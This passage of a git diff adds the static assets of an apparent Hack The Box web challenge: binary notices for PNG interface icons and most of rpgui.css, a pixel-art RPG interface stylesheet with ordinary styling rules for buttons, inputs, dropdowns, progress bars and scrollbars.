b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/potion-red.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/potion-slot.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/potion-slot.png new file mode 100644 index 0000000..dd9974c Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/potion-slot.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/ring-slot.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/ring-slot.png new file mode 100644 index 0000000..fa3e0c9 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/ring-slot.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/shield-slot.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/shield-slot.png new file mode 100644 index 0000000..e1acc24 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/shield-slot.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/shield.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/shield.png new file mode 100644 index 0000000..1db5250 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/shield.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/shoes-slot.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/shoes-slot.png new file mode 100644 index 0000000..5c77df9 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/shoes-slot.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/sword.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/sword.png new file mode 100644 index 0000000..9a0d434 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/sword.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/weapon-slot.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/weapon-slot.png new file mode 100644 index 0000000..109c749 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/weapon-slot.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-bar-left.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-bar-left.png new file mode 100644 index 0000000..a3d3072 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-bar-left.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-bar-right.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-bar-right.png new file mode 100644 index 0000000..a1155c2 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-bar-right.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-bar-track.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-bar-track.png new file mode 100644 index 0000000..bb3ed4f Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-bar-track.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-blue.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-blue.png new file mode 100644 index 0000000..2c2d14d Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-blue.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-green.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-green.png new file mode 100644 index 0000000..a7a1b84 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-green.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-red.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-red.png new file mode 100644 index 0000000..a96e14d Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress-red.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress.png new file mode 100644 index 0000000..1edb42e Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/progress.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/radio-golden-off.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/radio-golden-off.png new file mode 100644 index 0000000..6030c48 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/radio-golden-off.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/radio-golden-on.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/radio-golden-on.png new file mode 100644 index 0000000..c09ddae Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/radio-golden-on.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/radio-off.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/radio-off.png new file mode 100644 index 0000000..a29328d Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/radio-off.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/radio-on.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/radio-on.png new file mode 100644 index 0000000..282b121 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/radio-on.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/scrollbar-button.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/scrollbar-button.png new file mode 100644 index 0000000..4e105ce Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/scrollbar-button.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/scrollbar-thumb.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/scrollbar-thumb.png new file mode 100644 index 0000000..460894a Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/scrollbar-thumb.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/scrollbar-track.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/scrollbar-track.png new file mode 100644 index 0000000..9441e7d Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/scrollbar-track.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/select-background-image.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/select-background-image.png new file mode 100644 index 0000000..cde4785 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/select-background-image.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/select-border-image.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/select-border-image.png new file mode 100644 index 0000000..526c4ed Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/select-border-image.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-left-golden.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-left-golden.png new file mode 100644 index 0000000..5924091 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-left-golden.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-left.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-left.png new file mode 100644 index 0000000..c12cd1e Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-left.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-right-golden.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-right-golden.png new file mode 100644 index 0000000..25b8f43 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-right-golden.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-right.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-right.png new file mode 100644 index 0000000..8a9e5e0 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-right.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-thumb-golden.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-thumb-golden.png new file mode 100644 index 0000000..22d7e96 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-thumb-golden.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-thumb.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-thumb.png new file mode 100644 index 0000000..1004389 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-thumb.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-track-golden.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-track-golden.png new file mode 100644 index 0000000..da2c683 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-track-golden.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-track.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-track.png new file mode 100644 index 0000000..9405512 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/slider-track.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/rpgui.css b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/rpgui.css new file mode 100644 index 0000000..c31f010 --- /dev/null +++ b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/rpgui.css @@ -0,0 +1,972 @@ +/* +Import the font stylesheet. +If not supported you can add backup via: + +inside your html file. +*/ +@import url("https://fonts.googleapis.com/css?family=Press+Start+2P"); +/** +* Customized scrollbars +*/ +/* to get pixelated images (nearest-neighbor filter) on all browsers */ +.rpgui-pixelated { + -ms-interpolation-mode: nearest-neighbor; + image-rendering: -webkit-optimize-contrast; + image-rendering: -webkit-crisp-edges; + image-rendering: -moz-crisp-edges; + image-rendering: -o-crisp-edges; + image-rendering: pixelated; } + +/* unselectable text */ +.rpgui-noselect { + -webkit-touch-callout: none; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; } + +/* center things */ +.rpgui-center { + text-align: center; + align-content: center; } + +/* rotate object 90 degrees */ +.rpgui-rotate-90 { + /* rotate 90 degrees */ + -webkit-transform: rotate(90deg); + -moz-transform: rotate(90deg); + -o-transform: rotate(90deg); + -ms-transform: rotate(90deg); + transform: rotate(90deg); + /* rotate from center-left side */ + -ms-transform-origin: 0% 50%; + /* IE 9 */ + -webkit-transform-origin: 0% 50%; + /* Chrome, Safari, Opera */ + transform-origin: 0% 50%; } + +/** +* Styling for buttons +*/ +/* button style */ +.rpgui-button { + /* hide button default stuff */ + background-color: Transparent; + background-repeat: no-repeat; + border: none; + overflow: hidden; + outline: none; + /* background */ + background: url("img/button.png") no-repeat no-repeat; + background-clip: padding-box; + background-origin: padding-box; + background-position: center; + background-size: 100% 100%; + /* font size */ + font-size: 1.0em; + /* default size and display */ + max-width: 100%; + min-width: 140px; + height: 60px; + display: inline-block; + /* padding */ + padding-left: 35px; + padding-right: 35px; } + +/* button hover */ +.rpgui-button.hover, +.rpgui-button:hover { + background-image: url("img/button-hover.png"); } + +/* button clicked */ +.rpgui-button.down, +.rpgui-button:active { + background-image: url("img/button-down.png"); } + +/* golden button stuff */ +.rpgui-button.golden p { + display: inline-block; } + +/* golden button style */ +.rpgui-button.golden { + /* hide button default stuff */ + background-color: Transparent; + background-repeat: no-repeat; + border: none; + overflow: hidden; + outline: none; + /* background */ + background: url("img/button-golden.png") no-repeat no-repeat; + background-clip: padding-box; + background-origin: padding-box; + background-position: center; + background-size: 100% 80%; + /* default size and display */ + max-width: 100%; + min-width: 140px; + height: 60px; + display: inline-block; + /* padding */ + padding-top: 5px; + padding-left: 35px; + padding-right: 35px; + overflow: visible; } + +/* button hover */ +.rpgui-button.golden.hover, +.rpgui-button.golden:hover { + background-image: url("img/button-golden-hover.png"); } + +/* button clicked */ +.rpgui-button.golden.down, +.rpgui-button.golden:active { + background-image: url("img/button-golden-down.png"); } + +.rpgui-button.golden:before { + white-space: nowrap; + display: inline-block; + content: ""; + width: 34px; + display: block; + height: 110%; + background: transparent url("img/button-golden-left.png") no-repeat right center; + background-size: 100% 100%; + margin: 0 0 0 0; + left: 0px; + float: left; + margin-left: -46px; + margin-top: -5%; } + +.rpgui-button.golden:after { + white-space: nowrap; + display: block; + content: ""; + width: 34px; + height: 110%; + background: transparent url("img/button-golden-right.png") no-repeat left center; + background-size: 100% 100%; + margin: 0 0 0 0; + right: 0px; + float: right; + margin-right: -46px; + margin-top: -5%; } + +/* +.rpgui-button.golden:hover:before { + + background-image: url('img/button-golden-left-hover.png'); +} + +.rpgui-button.golden:hover:after { + + background-image: url('img/button-golden-right-hover.png'); +} +*/ +/** +* style for checkboxes +*/ +/* basic checkbox */ +.rpgui-content input[type=checkbox].rpgui-checkbox { + display: none; } + +.rpgui-content input[type=checkbox].rpgui-checkbox + label { + background: url("img/checkbox-off.png") no-repeat; + line-height: 24px; + display: inline-block; + background-size: auto 100%; + padding-left: 34px; + height: 24px; + margin-top: 10px; + margin-bottom: 10px; } + +.rpgui-content input[type=checkbox].rpgui-checkbox:checked + label { + background: url("img/checkbox-on.png") no-repeat; + line-height: 24px; + display: inline-block; + background-size: auto 100%; + padding-left: 34px; + height: 24px; } + +/* golden checkbox */ +.rpgui-content input[type=checkbox].rpgui-checkbox.golden + label { + background: url("img/checkbox-golden-off.png") no-repeat; + background-size: auto 100%; } + +.rpgui-content input[type=checkbox].rpgui-checkbox.golden:checked + label { + background: url("img/checkbox-golden-on.png") no-repeat; + background-size: auto 100%; } + +/** +* global content styling +*/ +/* game div with background image*/ +.rpgui-content { + padding: 0 0 0 0; + margin: 0 0 0 0; + width: 100%; + height: 100%; + left: 0px; + top: 0px; + position: fixed; + overflow: hidden; + font-size: 0.8em; } + +/* general rules to apply on anything inside the content */ +.rpgui-content * { + /* remove outline effect for input elements etc */ + outline: none; + /* prevent dragging */ + user-drag: none; + -webkit-user-drag: none; + /* prevent text selecting */ + -webkit-touch-callout: none; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + -webkit-tap-highlight-color: transparent; + /* pixelated enlargement filter (to keep the pixel-art style when enlarging pictures) */ + -ms-interpolation-mode: nearest-neighbor; + image-rendering: -webkit-optimize-contrast; + image-rendering: -webkit-crisp-edges; + image-rendering: -moz-crisp-edges; + image-rendering: -o-crisp-edges; + image-rendering: pixelated; + /* default font */ + font-family: 'Press Start 2P', cursive; } + +/** +* customized divs (containers) and framed objects (background and frame image). +*/ +/* game div without background image*/ +.rpgui-container { + /* position style and default z */ + position: fixed; + z-index: 10; + overflow: show; } + +/* game div with background image*/ +.rpgui-container.framed { + /* border */ + border-style: solid; + border-image-source: url("img/border-image.png"); + border-image-repeat: repeat; + border-image-slice: 6 6 6 6; + border-image-width: 18px; + border-width: 15px; + padding: 12px; + /* internal border */ + box-sizing: border-box; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + /* background */ + background: url("img/background-image.png") repeat repeat; + background-clip: padding-box; + background-origin: padding-box; + background-position: center; } + +/* game div with golden background image*/ +.rpgui-container.framed-golden { + /* border */ + border-style: solid; + border-image-source: url("img/border-image-golden.png"); + border-image-repeat: repeat; + border-image-slice: 4 4 4 4; + border-image-width: 18px; + border-width: 15px; + padding: 12px; + /* internal border */ + box-sizing: border-box; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + /* background */ + background: url("img/background-image-golden.png") repeat repeat; + background-clip: padding-box; + background-origin: padding-box; + background-position: center; } + +/* game div with golden2 background image*/ +.rpgui-container.framed-golden-2 { + /* border */ + border-style: solid; + border-image-source: url("img/border-image-golden2.png"); + border-image-repeat: repeat; + border-image-slice: 8 8 8 8; + border-image-width: 18px; + border-width: 15px; + padding: 12px; + /* internal border */ + box-sizing: border-box; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + /* background */ + background: url("img/background-image-golden2.png") repeat repeat; + background-clip: padding-box; + background-origin: padding-box; + background-position: center; } + +/* game div with soft grey background image*/ +.rpgui-container.framed-grey { + position: relative; + /* border */ + border-style: solid; + border-image-source: url("img/border-image-grey.png"); + border-image-repeat: repeat; + border-image-slice: 3 3 3 3; + border-image-width: 7px; + border-width: 7px; + padding: 12px; + /* internal border */ + box-sizing: border-box; + -moz-box-sizing: border-box; + -webkit-box-sizing: border-box; + /* background */ + background: url("img/background-image-grey.png") repeat repeat; + background-clip: padding-box; + background-origin: padding-box; + background-position: center; } + +/** +* different cursor graphics +*/ +/* default cursor important */ +/* this rule is for when you specifically request this cursor class */ +.rpgui-cursor-default { + cursor: url("img/cursor/default.png"), auto !important; } + +/* default cursor, not important, for all elements without any other rule. */ +.rpgui-content, +label { + cursor: url("img/cursor/default.png"), auto; } + +/* pointer / hand cursor important */ +/* this rule is for when you specifically request this cursor class */ +.rpgui-cursor-point, +.rpgui-cursor-point * { + cursor: url("img/cursor/point.png") 10 0, auto !important; } + +/* pointer / hand cursor, not important, for all elements that have pointer by-default */ +.rpgui-content a, +.rpgui-content button, +.rpgui-button, +.rpgui-slider-container, +.rpgui-content input[type=radio].rpgui-radio + label, +.rpgui-list-imp, +.rpgui-dropdown-imp, +.rpgui-content input[type=checkbox].rpgui-checkbox + label { + cursor: url("img/cursor/point.png") 10 0, auto; } + +/* for input / text selection important */ +/* this rule is for when you specifically request this cursor class */ +.rpgui-cursor-select, +.rpgui-cursor-select * { + cursor: url("img/cursor/select.png") 10 0, auto !important; } + +/* for input / text selection, not important, for all elements that have pointer by-default */ +.rpgui-cursor-select, +.rpgui-content input, +.rpgui-content textarea { + cursor: url("img/cursor/select.png") 10 0, auto; } + +/* for grabbing stuff */ +/* this rule is for when you specifically request this cursor class */ +.rpgui-cursor-grab-open, +.rpgui-cursor-grab-open * { + cursor: url("img/cursor/grab-open.png") 10 0, auto !important; } + +/* for grabbing stuff */ +/* this rule is for when you specifically request this cursor class */ +.rpgui-cursor-grab-close, +.rpgui-cursor-grab-close * { + cursor: url("img/cursor/grab-close.png") 10 0, auto !important; } + +/** +* Customized dropdown with rpgui design. +*/ +/* dropdown box implemented with list (see rpgui-dropdown.js for details) */ +/* note! this class rule affect both the dropdown header and the list elements! */ +.rpgui-dropdown-imp, +.rpgui-dropdown { + /* font */ + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + color: white; + /* default size */ + min-height: 40px; + margin-top: 0px; + /* border */ + border-style: solid; + border-width: 7px 7px 7px 7px; + -moz-border-image: url("img/select-border-image.png") 10% repeat repeat; + -webkit-border-image: url("img/select-border-image.png") 10% repeat repeat; + -o-border-image: url("img/select-border-image.png") 10% repeat repeat; + border-image: url("img/select-border-image.png") 10% repeat repeat; + /* background */ + background: url("img/select-background-image.png") repeat repeat; + background-clip: padding-box; + background-origin: padding-box; + background-position: center; } + +/* dropdown options list */ +ul.rpgui-dropdown-imp { + padding: 0 0 0 0 !important; + z-index: 100; } + +/* note! this affect only the dropdown header */ +/* shows the currently selected value from select element */ +.rpgui-content .rpgui-dropdown-imp-header { + color: white !important; + min-height: 22px !important; + padding: 5px 10px 0 10px !important; + margin: 0 0 0 0 !important; + position: relative !important; } + +/* dropdown options */ +.rpgui-dropdown-imp li { + /* font */ + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + color: white; + height: 16px; + /* remove the dot */ + list-style-type: none; + /* padding */ + padding-top: 6px; + padding-bottom: 6px; + padding-left: 6px; + /* background */ + background: url("img/select-background-image.png") repeat repeat; + background-clip: padding-box; + background-origin: padding-box; + background-position: center; } + +/* dropdown options hover */ +.rpgui-dropdown-imp li:hover { + color: yellow; } + +/* dropdown hover */ +.rpgui-dropdown-imp:hover { + color: yellow; } + +/** +* hr styling +*/ +/* rpgui hr */ +.rpgui-content hr { + display: block; + border: 0px; + height: 10px; + background: url("img/hr.png") repeat-x top left; } + +/* rpgui golden hr */ +.rpgui-content hr.golden { + display: block; + border: 0px; + height: 10px; + background: url("img/hr-golden.png") no-repeat top left; + background-size: 100% 100%; } + +/** +* Icon styles. +*/ +.rpgui-icon { + display: inline-block; + background-size: 100% 100%; + background-repeat: no-repeat; + width: 64px; + height: 64px; } + +.rpgui-icon.sword { + background-image: url("img/icons/sword.png"); } + +.rpgui-icon.shield { + background-image: url("img/icons/shield.png"); } + +.rpgui-icon.exclamation { + background-image: url("img/icons/exclamation.png"); } + +.rpgui-icon.potion-red { + background-image: url("img/icons/potion-red.png"); } + +.rpgui-icon.potion-green { + background-image: url("img/icons/potion-green.png"); } + +.rpgui-icon.potion-blue { + background-image: url("img/icons/potion-blue.png"); } + +.rpgui-icon.weapon-slot { + background-image: url("img/icons/weapon-slot.png"); } + +.rpgui-icon.shield-slot { + background-image: url("img/icons/shield-slot.png"); } + +.rpgui-icon.armor-slot { + background-image: url("img/icons/armor-slot.png"); } + +.rpgui-icon.helmet-slot { + background-image: url("img/icons/helmet-slot.png"); } + +.rpgui-icon.ring-slot { + background-image: url("img/icons/ring-slot.png"); } + +.rpgui-icon.potion-slot { + background-image: url("img/icons/potion-slot.png"); } + +.rpgui-icon.magic-slot { + background-image: url("img/icons/magic-slot.png"); } + +.rpgui-icon.shoes-slot { + background-image: url("img/icons/shoes-slot.png"); } + +.rpgui-icon.empty-slot { + background-image: url("img/icons/empty-slot.png"); } + +/** +* input styling +*/ +/* input/textarea input */ +.rpgui-content input, +.rpgui-content textarea { + /* set size and colors */ + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; + color: white; + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + font-size: 0.9em; + line-height: 32px; + background: #4e4a4e; + max-width: 100%; + width: 100%; + padding-left: 10px; + /* for ie */ + min-height: 30px; + /* enable text selecting */ + -webkit-touch-callout: text; + -webkit-user-select: text; + -khtml-user-select: text; + -moz-user-select: text; + -ms-user-select: text; + user-select: text; + -webkit-tap-highlight-color: rgba(0, 0, 0, 0.5); } + +/* textarea extra rules */ +.rpgui-content textarea { + line-height: 22px; + padding-top: 7px; + height: 80px; + resize: none; } + +/* selection highlight */ +.rpgui-content input::selection, +.rpgui-content textarea::selection { + background: rgba(0, 0, 0, 0.5); } + +.rpgui-content input::-moz-selection, +.rpgui-content textarea::-moz-selection { + background: rgba(0, 0, 0, 0.5); } + +/* dropdown box implemented with list (see rpgui-dropdown.js for details) */ +/* note! this class rule affect both the dropdown header and the list elements! */ +.rpgui-list-imp { + /* font */ + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + color: white; + /* default size */ + min-height: 40px; + margin-top: 0px; + /* scrollers */ + overflow-x: hidden; + overflow-y: scroll; + /* border */ + border-style: solid; + border-width: 7px 7px 7px 7px; + -moz-border-image: url("img/select-border-image.png") 10% repeat repeat; + -webkit-border-image: url("img/select-border-image.png") 10% repeat repeat; + -o-border-image: url("img/select-border-image.png") 10% repeat repeat; + border-image: url("img/select-border-image.png") 10% repeat repeat; + /* background */ + background: url("img/select-background-image.png") repeat repeat; + background-clip: padding-box; + background-origin: padding-box; + background-position: center; } + +/* dropdown options list */ +ul.rpgui-list-imp { + padding: 0 0 0 0 !important; + z-index: 100; } + +/* dropdown options */ +.rpgui-list-imp li { + /* font */ + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + color: white; + height: 16px; + margin-left: 5px !important; + /* remove the dot */ + list-style-type: none; + /* padding */ + padding-top: 6px; + padding-bottom: 6px; + padding-left: 6px; + /* background */ + background: url("img/select-background-image.png") repeat repeat; + background-clip: padding-box; + background-origin: padding-box; + background-position: center; } + +/* list options hover */ +.rpgui-list-imp li:hover { + color: yellow; } + +/* list hover */ +.rpgui-list-imp:hover { + color: yellow; } + +.rpgui-list-imp .rpgui-selected { + background: rgba(0, 0, 0, 0.3); } + +/** +* Paragraphs and headers while inside an rpgui container. +*/ +/* default gui header */ +.rpgui-content h1 { + /* color and border */ + color: white; + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + font-size: 1.14em; + /* center text */ + text-align: center; + /* padding */ + padding: 0 0 0 0; + margin: 7px 7px 17px 7px; } + +/* default gui header2 */ +.rpgui-content h2 { + /* color and border */ + color: white; + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + font-size: 1.25em; + /* center text */ + text-align: center; + /* padding */ + padding: 0 0 0 0; + margin: 7px 7px 17px 7px; } + +/* default gui header3 */ +.rpgui-content h3 { + /* color and border */ + color: white; + font-weight: 1; + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + font-size: 1.15em; + text-decoration: underline; + /* center text */ + text-align: center; + /* padding */ + padding: 0 0 0 0; + margin: 7px 7px 17px 7px; } + +/* default gui header4 */ +.rpgui-content h4 { + /* color and border */ + color: white; + font-weight: 1; + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + font-size: 1.0em; + text-decoration: underline; + /* center text */ + text-align: center; + /* padding */ + padding: 0 0 0 0; + margin: 7px 7px 17px 7px; } + +/* default p */ +.rpgui-content p { + /* color and border */ + color: white; + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + font-size: 1.0em; + line-height: 22px; } + +/* default span */ +.rpgui-content span { + /* color and border */ + color: white; + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + font-size: 1.0em; + line-height: 22px; } + +/* default gui link */ +.rpgui-content a { + /* color and border */ + color: yellow; + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + font-size: 1.0em; + line-height: 22px; + text-decoration: none; } + +/* default gui link */ +.rpgui-content a:hover { + text-decoration: underline; } + +/* default gui label */ +.rpgui-content label { + /* color and border */ + color: white; + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + font-size: 1.0em; + line-height: 20px; + display: inline; } + +/* default gui label */ +.rpgui-content li { + /* color and border */ + margin-left: 20px; + color: white; + text-shadow: -2px 0 black, 0 2px black, 2px 0 black, 0 -2px black; + font-size: 1.0em; + line-height: 22px; } + +/* +* progress bar styling +*/ +/* progress bar container */ +.rpgui-progress { + height: 42px; + width: 100%; + margin-top: 5px; + margin-bottom: 5px; + position: relative; } + +/* progress bar left edge */ +.rpgui-progress-left-edge { + position: absolute; + height: 42px; + width: 40px; + left: 0px; + background-image: url("img/progress-bar-left.png"); + background-size: 100% 100%; } + +/* progress bar right edge */ +.rpgui-progress-right-edge { + position: absolute; + height: 42px; + width: 40px; + right: 0px; + background-image: url("img/progress-bar-right.png"); + background-size: 100% 100%; } + +/* progress bar background track */ +.rpgui-progress-track { + position: absolute; + height: 42px; + left: 40px; + right: 40px; + background-image: url("img/progress-bar-track.png"); + background-repeat: repeat-x; + background-size: 36px 100%; } + +/* progress bar - the fill itself */ +.rpgui-progress-fill { + position: absolute; + top: 9px; + bottom: 8px; + left: 0; + width: 100%; + background-image: url("img/progress.png"); + background-repeat: repeat-x; + background-size: 36px 100%; } + +/* progress bar - blue color */ +.rpgui-progress-fill.blue { + background-image: url("img/progress-blue.png"); } + +/* progress bar - green color */ +.rpgui-progress-fill.green { + background-image: url("img/progress-green.png"); } + +/* progress bar - red color */ +.rpgui-progress-fill.red { + background-image: url("img/progress-red.png"); } + +/** +* style for radioes +*/ +/* radio box */ +.rpgui-content input[type=radio].rpgui-radio { + display: none; } + +.rpgui-content input[type=radio].rpgui-radio + label { + background: url("img/radio-off.png") no-repeat; + line-height: 24px; + display: inline-block; + background-size: auto 100%; + padding-left: 34px; + height: 24px; + margin-top: 8px; + margin-bottom: 8px; } + +.rpgui-content input[type=radio].rpgui-radio:checked + label { + background: url("img/radio-on.png") no-repeat; + line-height: 24px; + display: inline-block; + background-size: auto 100%; + padding-left: 34px; + height: 24px; } + +/* golden radio */ +.rpgui-content .rpgui-radio.golden + label { + background: url("img/radio-golden-off.png") no-repeat !important; + background-size: auto 100% !important; } + +.rpgui-content .rpgui-radio.golden:checked + label { + background: url("img/radio-golden-on.png") no-repeat !important; + background-size: auto 100% !important; } + +/** +* Rules for misc and general things. +*/ +/* set scrollbars for webkit browsers (like chrome) */ +.rpgui-content ::-webkit-scrollbar, +.rpgui-content::-webkit-scrollbar { + width: 18px; } + +/* Track */ +.rpgui-content ::-webkit-scrollbar-track, +.rpgui-content::-webkit-scrollbar-track { + background-image: url("img/scrollbar-track.png"); + background-size: 18px 60px; + background-repeat: repeat-y; } + +/* Handle */ +.rpgui-content ::-webkit-scrollbar-thumb, +.rpgui-content::-webkit-scrollbar-thumb { + background-image: url("img/scrollbar-thumb.png"); + background-size: 100% 100%; + background-repeat: no-repeat; } + +/* buttons */ +.rpgui-content ::-webkit-scrollbar-button, +.rpgui-content::-webkit-scrollbar-button { + background-image: 